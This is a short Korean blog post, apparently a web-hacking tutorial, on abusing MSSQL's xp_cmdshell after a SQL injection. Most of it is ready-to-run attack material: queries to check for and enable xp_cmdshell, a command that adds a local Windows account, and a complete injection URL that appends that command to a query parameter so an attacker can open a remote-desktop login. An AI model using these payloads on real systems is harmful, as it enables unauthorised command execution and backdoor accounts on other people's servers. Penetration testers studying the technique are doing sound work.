xp_cmdshell이란 mssql에서 운영체제 명령을 실행할 수 있도록하는 함수입니다.


mssql DB를 사용하는 페이지에서 SQL Injection이 발생할 경우 xp_cmdshell을 이용해 cmd명령을 실행할 수 있습니다.


다음쿼리를 이용해서 xp_cmdshell이 활성화 되어 있는지 확인할 수 있습니다.


SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'

Value Column : 1 (활성화)

  0 (비활성화)


만약, xp_cmdshell이 비활성화되어 있다면 다음과 같은 쿼리를 이용해서 활성화시킬 수 있습니다.


EXEC sp_configure 'show advanced options', 1

GO


RECONFIGURE

GO


EXEC sp_configure 'xp_cmdshell', 1

GO


RECONFIGURE

GO


다시 비활성화하려면


EXEC sp_configure 'xp_cmdshell', 0

GO


RECONFIGURE

GO


EXEC sp_configure 'show advanced options', 0

GO


RECONFIGURE

GO


다음과 같이 입력해주면 됩니다.


대부분 xp_cmdshell이 가능할 경우 임의의 로컬계정을 생성하여 원격데스크탑접속을 시도하는 경우가 많으면 로컬계정을 생성하는 쿼리는 다음과 같습니다.


EXEC xp_cmdshell 'net user ID PW /add'


http://test.com?test=test';EXEC xp_cmdshell 'net user test test /add'--




'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
MSSQL Limit 기능 구현  (0) 2018.10.01
MSSQL Injection  (0) 2018.09.20
Oracle Error based injection  (0) 2018.08.23

+ Recent posts